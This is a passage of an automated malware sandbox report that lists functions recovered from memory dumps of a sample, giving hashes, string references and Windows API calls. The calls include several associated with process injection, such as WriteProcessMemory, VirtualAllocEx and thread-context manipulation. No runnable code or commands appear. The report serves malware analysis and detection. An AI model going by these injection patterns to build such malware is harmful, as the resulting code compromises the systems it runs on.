Opcode Fuzzy Hash: 95aa8da95c9e291b8118eac3831f2edf6beddea26fe2880122c155831999bb30
Instruction Fuzzy Hash: 0BD1C171B142089BC705FBB8D89926E7FB6EFC9350F444869D449F7380EE389C4687A6

Function 00A44FB8 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

Haq, xrefs: 00A451CC
Haq, xrefs: 00A45199

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 25d109001f7f32b6b7e0fb3cc835c188eb427c6c6fb9638117974906fea66fa0
Instruction ID: b004e9a9710273069b1db4184aa4dba2e0c5668991c88e7341885aebc6b527e9
Opcode Fuzzy Hash: 25d109001f7f32b6b7e0fb3cc835c188eb427c6c6fb9638117974906fea66fa0
Instruction Fuzzy Hash: 3281AF38B006199FCB15EF68D854BAE7BA6ABC8701F148429F9069B391CF709D46CB91

Function 078511A0 Relevance: 2.5, Strings: 2, Instructions: 43COMMON

Download Yara Rule

Strings

Te]q, xrefs: 078511A7
TJbq, xrefs: 078511BC

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: TJbq$Te]q
API String ID: 0-3147309840
Opcode ID: cc7e63bfd33eb7d82ebe3e7a54a4cc6c9f086cb4cd60361efe21c719b66a41fb
Instruction ID: 77cea5493dd5016c4d3b0cb7daf1abe14b756ce2bfa2df5de7b01b4ff19f05c4
Opcode Fuzzy Hash: cc7e63bfd33eb7d82ebe3e7a54a4cc6c9f086cb4cd60361efe21c719b66a41fb
Instruction Fuzzy Hash: CBF0F6353000254FCA08AB7DE45897E76EBAFC9B20715405DF40ACB3A1CD60DC074396

Function 07850861 Relevance: 1.8, Strings: 1, Instructions: 530COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07850DAB

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 885a2e9d8696fb3d0b0fc55330bf882b8885dc997499a0302766b5693742bd3e
Instruction ID: e985d012d2ea49dfcb3a8e9250034b5549e269486ea7417665d3e98aca26b70f
Opcode Fuzzy Hash: 885a2e9d8696fb3d0b0fc55330bf882b8885dc997499a0302766b5693742bd3e
Instruction Fuzzy Hash: E7125B70F102189BD704BFB8D98966DBBF2BBC8704F508969E449E7394DE3C9C068B52

Function 07850870 Relevance: 1.8, Strings: 1, Instructions: 526COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07850DAB

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: a12ae4d03f458a23ab594bc5cdcb876263b2af88c592adac7a0823b409e6b6eb
Instruction ID: 0010abf006e8d49bd11865f85eca05fc2bdec8b20c6b6b34df0ac3bb96b86d40
Opcode Fuzzy Hash: a12ae4d03f458a23ab594bc5cdcb876263b2af88c592adac7a0823b409e6b6eb
Instruction Fuzzy Hash: 95124C70F102189BD704BFB8D98966DBBF2BBC8704F508969E449E7394DE3C9C468B52

Function 05368FB0 Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 05369206

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b795ce2048acd01d56e144d5844deaea40c62d38378ce3bcf6d19094d8604051
Instruction ID: ede320b69bd98e24163611ef5926de1f5a42a06c3bf96a0384d62085a2b679a7
Opcode Fuzzy Hash: b795ce2048acd01d56e144d5844deaea40c62d38378ce3bcf6d19094d8604051
Instruction Fuzzy Hash: D1717971A00B058FD724DF69D444BAABBF5FF88300F00892DE44AD7A54DB75E945CB91

Function 0536F830 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0536F9A2

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0bfb1b11ded969a865535e00a8b8b90243d0c4c35b76ca82c96c3100b560b625
Instruction ID: 310308c20217940239103bf984396314cd4be853a9f70638a9639fcf31cbee69
Opcode Fuzzy Hash: 0bfb1b11ded969a865535e00a8b8b90243d0c4c35b76ca82c96c3100b560b625
Instruction Fuzzy Hash: 385130B1C00248AFCF11CFA9C984ACEBFB2FF49304F15816AE818AB224D7719845CF90

Function 0536F890 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0536F9A2

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 82b58440ebccd9865d423d1255bb7e026b82c5f7f4b73f6908b1036ca67d46e5
Instruction ID: a8e109c80881683dc29f5acf4b08e71916942ba9984b4246a63077d486a1b388
Opcode Fuzzy Hash: 82b58440ebccd9865d423d1255bb7e026b82c5f7f4b73f6908b1036ca67d46e5
Instruction Fuzzy Hash: 2741C0B1D00349AFDB14CF9AD884ADEBBF5BF48314F24812EE819AB214D775A945CF90

Function 080A3C48 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3504930bfe46671119acf0fd70056a45e35aa594be16bd3b6d8f766224741d
Instruction ID: c390d122dfc2b0981ed4fe93afdfa0bc1815714f93fbc915d2a47efb7e8c87be
Opcode Fuzzy Hash: 4f3504930bfe46671119acf0fd70056a45e35aa594be16bd3b6d8f766224741d
Instruction Fuzzy Hash: 4C31C7718093C88FCB12CFA9C8546DEBFF1EF4A310F15449BD0949B262C3389909CBA1

Function 080AD4B8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 080AD548

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3dad6bf946864d04971277a22fa9b8ca7d25792eaab578ac31762d94a590be9f
Instruction ID: f1ab33fb235e799e0784e5dc70c08e74a483290e9df7dfda0a95576f856df151
Opcode Fuzzy Hash: 3dad6bf946864d04971277a22fa9b8ca7d25792eaab578ac31762d94a590be9f
Instruction Fuzzy Hash: B52148B59003499FCB10DFAAC885BEEBBF5FF48314F10842AE919A7240C7799944CBA0

Function 080ACA90 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 080ACB0E

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9048c9daf8393f84b09d82c2c51c5cc4e497c2fcbf08ced5ee139cffa7a7dc59
Instruction ID: 334846e33ebcbfc557046e4cb19aa2a9d0499f9cdaa6229c04b77e90213cb838
Opcode Fuzzy Hash: 9048c9daf8393f84b09d82c2c51c5cc4e497c2fcbf08ced5ee139cffa7a7dc59
Instruction Fuzzy Hash: 502115B19002098FDB10DFAAC485BEEBBF5EF48314F15842AD559A7240CB78AA45CFA5

Function 080ADBF8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 080ADC76

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4d446ffe539cf1ef635925aafef7990196c39f7e2a6103a91c7b7c8493783bba
Instruction ID: 49ec3ff8fc41cd6de02b652c0eb09aaf11edc9d224969e7762623d93962209b6
Opcode Fuzzy Hash: 4d446ffe539cf1ef635925aafef7990196c39f7e2a6103a91c7b7c8493783bba
Instruction Fuzzy Hash: 872135B1D002098FDB10DFAAC485BEEBBF5EF48350F50842AD919A7240CB78A945CFA0

Function 0536B480 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0536B507

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e62dff65edd36f24ae6b8908f5f5af339341e0398d9e09e8a1982cdef4716287
Instruction ID: da81d8f067d9e16f110bcd7ff088acec454c1be2f75ef1232d0ebdbeb4eb971a
Opcode Fuzzy Hash: e62dff65edd36f24ae6b8908f5f5af339341e0398d9e09e8a1982cdef4716287
Instruction Fuzzy Hash: 5821C2B59002489FDB10CFAAD984ADEFFF9FB48310F14841AE918A3350D379A944CFA5

Function 080AD958 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 080AD9CF

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: cbf167cea0c90436097261f26e1a521db83547f5d863c9451f2ac770d773decd
Instruction ID: b0b2da7322ce075e0b97ab447efa7c8fb9764652bb9cb88d802be68e3b259eac
Opcode Fuzzy Hash: cbf167cea0c90436097261f26e1a521db83547f5d863c9451f2ac770d773decd
Instruction Fuzzy Hash: F62115B18002499FDB10DFAAC445AEEBBF5FF48320F10842AD959A7250CB799945CFA1

Function 080A3CB8 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 080A3D33

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b47c558e87397bbcae6168cbbc1457862f9d1623a752f6529aad00ef27283d7e
Instruction ID: b103bc27f9420dca9f9b3d0bd47634613c4a033805bdfd86730aed1b6d4967d7
Opcode Fuzzy Hash: b47c558e87397bbcae6168cbbc1457862f9d1623a752f6529aad00ef27283d7e
Instruction Fuzzy Hash: E321C4B59002499FCB10DF9AD444BDEBBF5EF48310F11842AE558A7250D379AA45CFA1

Function 077BA8B0 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 077BA920

Memory Dump Source

Source File: 00000000.00000002.2799910451.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77b0000_SecuriteInfo.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 65a6613e23add4778bc4f615af46b8a28fbbe4ed4e03b57767894ac72e865e6e
Instruction ID: 3fc6bbdd518fe24589d0c78b923309e14568a86f49fd882ac0bd44a07befaf59
Opcode Fuzzy Hash: 65a6613e23add4778bc4f615af46b8a28fbbe4ed4e03b57767894ac72e865e6e
Instruction Fuzzy Hash: DC1138B1C0065A9BCB20DF9AC4457EEFBF4FF48310F128529D858A7240D738A940CFA1

Function 0801D379 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0801D3F3

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 566ce0974de63b1d22212660ec8a33620a28b0fc1092f99a9b0d07d48e26a056
Instruction ID: 0b3c647ddad03c7dcea1a87f16e91042b0c4868648b65e1765a14f98af12f518
Opcode Fuzzy Hash: 566ce0974de63b1d22212660ec8a33620a28b0fc1092f99a9b0d07d48e26a056
Instruction Fuzzy Hash: 162114B59002499FDB10DF9AC485BDEFBF8FF48320F10842AE958A7251D378A644CFA1

Function 080A3CC0 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 080A3D33

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 76e06ca025a4eed24bd6fc6f458c86e62e0f7b4de008021ba88a725e5d7e0854
Instruction ID: 581895da370850debfd27548e71f8cf5e9849308597a8170a6715eff7447d87a
Opcode Fuzzy Hash: 76e06ca025a4eed24bd6fc6f458c86e62e0f7b4de008021ba88a725e5d7e0854
Instruction Fuzzy Hash: 7721E4B59002499FCB10DF9AD484BDEFBF5FF48320F118429E958A7250D378AA44CFA1

Function 0801D380 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0801D3F3

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 55cf2eea890ea435dff3961a1552a210796137ca5e2e6d2d591051353c3ea20c
Instruction ID: 91003c0f96ce24d7800294afd35eea12d03cc949865c828b90bab5c4329df94a
Opcode Fuzzy Hash: 55cf2eea890ea435dff3961a1552a210796137ca5e2e6d2d591051353c3ea20c
Instruction Fuzzy Hash: 6121E4B59002499FCB10DF9AC485BDEFBF5FF48320F108429E958A7250D378A644CFA1

Function 080AD178 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 080AD1E6

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b3749463d2d000adb45393dec4fc282d5761b955b3c686b2b229e6e62a1e4358
Instruction ID: 45b8755aa5497b661f51c915bc2a47ccfbf2756cf2096df65b983f257f4b87a2
Opcode Fuzzy Hash: b3749463d2d000adb45393dec4fc282d5761b955b3c686b2b229e6e62a1e4358
Instruction Fuzzy Hash: 2E1137718002499FCB10DFAAC845AEFBFF5EF88310F108419E919A7250CB79A540CFA0

Function 080ADE60 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 080ADEC2

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 64cfb0279985c14d3973c7fe0c3f3daf63a23a84e561f7dfaeaa91ce947007b8
Instruction ID: 6e89c56e0ee80728decea182b6969e6c35a6605838d85ff413f50e521a0baf3d
Opcode Fuzzy Hash: 64cfb0279985c14d3973c7fe0c3f3daf63a23a84e561f7dfaeaa91ce947007b8
Instruction Fuzzy Hash: 6B1136B1D002488FCB20DFAAC4457EFFBF5EF89324F208819D519A7240CB79A944CBA0

Function 080A3C38 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 080AE35D

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6b292ea2cc19111c66dfc92dc3ea1c9b618c3248e4cad5d48bb0f223d8f73db7
Instruction ID: 8d6e9cbbbd9b9657a5ad882afecd0606893b891e6046c7a782d9209d00fd99a5
Opcode Fuzzy Hash: 6b292ea2cc19111c66dfc92dc3ea1c9b618c3248e4cad5d48bb0f223d8f73db7
Instruction Fuzzy Hash: 2D1103B58003489FCB10DF9AC889BDEFBF8EB48310F10885AE558A7200C379A944CFA5

Function 053691A0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 05369206

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 262604ed40e4ac2c2f0e4beaf25cff19c6b27ce72c413431697b0dae5e4f8a7b
Instruction ID: f9434ce268f89b8ee18c0337306f4a7e4bc12c267c48480842fd83586d1d90a4
Opcode Fuzzy Hash: 262604ed40e4ac2c2f0e4beaf25cff19c6b27ce72c413431697b0dae5e4f8a7b
Instruction Fuzzy Hash: 6811DFB6C002498FCB10DF9AC444BDEFBF4EF89310F11846AD529A7214C379A545CFA1

Function 00A424C8 Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

TJbq, xrefs: 00A42569

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: TJbq
API String ID: 0-1760495472
Opcode ID: 28259b7b109f9830471f32f42b42178d9011941f4ac8c077e7478c2529ac5df9
Instruction ID: 26924a20210fc2060da534219760172cb43a8e7481a24e982f7bf7be71548832
Opcode Fuzzy Hash: 28259b7b109f9830471f32f42b42178d9011941f4ac8c077e7478c2529ac5df9
Instruction Fuzzy Hash: 6351DF74E012088FDB18DFA9C594BDDBBF2BF88311F658069E804AB365DB349985CF20

Function 00A474A8 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00A47621

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: dca388eca872dd699af4ad23fffae1dd733823adefde742dd3af5d45a0147343
Instruction ID: 1ed71cc42122191ba9fe91361e3deb4014744baa6559169909d19c45bace7324
Opcode Fuzzy Hash: dca388eca872dd699af4ad23fffae1dd733823adefde742dd3af5d45a0147343
Instruction Fuzzy Hash: 7F41DF357086548FCB18DB79D854AAE7BF6AFC9310F2444A9E506DB3A1CF309C02CB91

Function 00A407D7 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

4']q, xrefs: 00A40870

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 260d310ac78550821f724db0f9da1e527f058c4aaeadc1eb22f0103767bb2ec0
Instruction ID: cc12f01c6b1351e9566b7deb301e041c3b1e0168245a72d4973d7a7082ea9f87
Opcode Fuzzy Hash: 260d310ac78550821f724db0f9da1e527f058c4aaeadc1eb22f0103767bb2ec0
Instruction Fuzzy Hash: DD315A75D1D2948FCB12CF74AD449DDBFB1EFAA310F0501AAD091E72A2D7344906DBA1

Function 00A48BE8 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

4']q, xrefs: 00A48C62

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 5b9fa53c66147cdac9ab87deff51aba047c4fd40010a4a1aec91d29987dbb3af
Instruction ID: 4954da2b417bbf8c68f71ba5a815d5e9d6f66daa9b1a1ba25ed57dbe38f8d11a
Opcode Fuzzy Hash: 5b9fa53c66147cdac9ab87deff51aba047c4fd40010a4a1aec91d29987dbb3af
Instruction Fuzzy Hash: 37215C397061999BDB148F6AACC0A6F7BAAABD5711B14482AE812CB244DF7CCC409770

Function 0785F372 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

z, xrefs: 0785F378

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 0bf52e861842f9303d35d8efa15f3db08f92315e843e4a868418c80b3a526b13
Instruction ID: e3c84ba58a9dcbc6ba13dbd07526f74b10187ab4b14bb9f699c3f231fe31e7c6
Opcode Fuzzy Hash: 0bf52e861842f9303d35d8efa15f3db08f92315e843e4a868418c80b3a526b13
Instruction Fuzzy Hash: 58211474E05208EFDB08DFA9C584A9EFBF2AF89200F14C4A6D919EB365D7349A11CB41

Function 006C06A1 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 006C0700

Memory Dump Source

Source File: 00000000.00000002.2784438128.00000000006C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e7da4b4a35598839c18d4f00f3b238a02d1bfe4d0b0be5b776f9218a9a12aae4
Instruction ID: 898ce6dc657723915a73cae5f12d8be04095413e876d427c1e843c8982cd39d6
Opcode Fuzzy Hash: e7da4b4a35598839c18d4f00f3b238a02d1bfe4d0b0be5b776f9218a9a12aae4
Instruction Fuzzy Hash: 161122B6800249CFDB20DF9AC545BEEBBF9EF48320F20841AD558A7241D379A944CFA5

Function 006C06A8 Relevance: 1.3, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 006C0700

Memory Dump Source

Source File: 00000000.00000002.2784438128.00000000006C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b19d332c5fe626bf1652ee4c2612dda16f91998ff199123fee32518548e6a1e6
Instruction ID: 8cc23ea785b98d850410e6880ec7e5d17f0b82b99b7e1563bce3cd3356ab5fca
Opcode Fuzzy Hash: b19d332c5fe626bf1652ee4c2612dda16f91998ff199123fee32518548e6a1e6
Instruction Fuzzy Hash: 301103B5800249CFDB20DF9AC545BEEBBF4EF48320F11841AD558A7341D779A944CFA5

Function 00A40838 Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

4']q, xrefs: 00A40870

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 349f964c8c7cc17aa0582ce9a9da02f459560a9d14187035d5951d6ae0d89ebc
Instruction ID: 73629953a76fe47b852fa7abf3c55a9f0275640d17125a9125f374a1a7910e2a
Opcode Fuzzy Hash: 349f964c8c7cc17aa0582ce9a9da02f459560a9d14187035d5951d6ae0d89ebc
Instruction Fuzzy Hash: 34F08C34E042089FDB18DFA5D955AEDBBF1BFCE300F059069D055B72A0DB34190ADBA6

Function 00A40848 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

4']q, xrefs: 00A40870

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: c6dd80d4d88352e3bc47cb102f53ac6d1017866df9bbdfe380fbb06eb51c3d12
Instruction ID: a9864dc6905356b94dd6a732c41f374821f6280adbb4ff2dded9c1fd82303c15
Opcode Fuzzy Hash: c6dd80d4d88352e3bc47cb102f53ac6d1017866df9bbdfe380fbb06eb51c3d12
Instruction Fuzzy Hash: 16F05E30E142089BCB08DFA6D9156EDB7B5BBCD311F005079D15973260DF355E05DBA5

Function 0785B76C Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3306765606090853faa903474969456751ad5892b08cf048bc120656d38932bd
Instruction ID: 89f09ca4f1b11a31fb15d60d3df215dcd02ac3a2050762d1da16d6cdff08d462
Opcode Fuzzy Hash: 3306765606090853faa903474969456751ad5892b08cf048bc120656d38932bd
Instruction Fuzzy Hash: F7224FB0B14319CFCB14EFB9E99925D7BB2AB89304F4048AAD449E3350EE385D45CF52

Function 07859C08 Relevance: .4, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f28c23d0bb77554d53a1abcf1e32f30e8fe1ef8a753528350c5ec1fb0244f7
Instruction ID: 523c14df44d7ce49bded9b597bebf71c27cd99ebf57216babd36dcc8edf90448
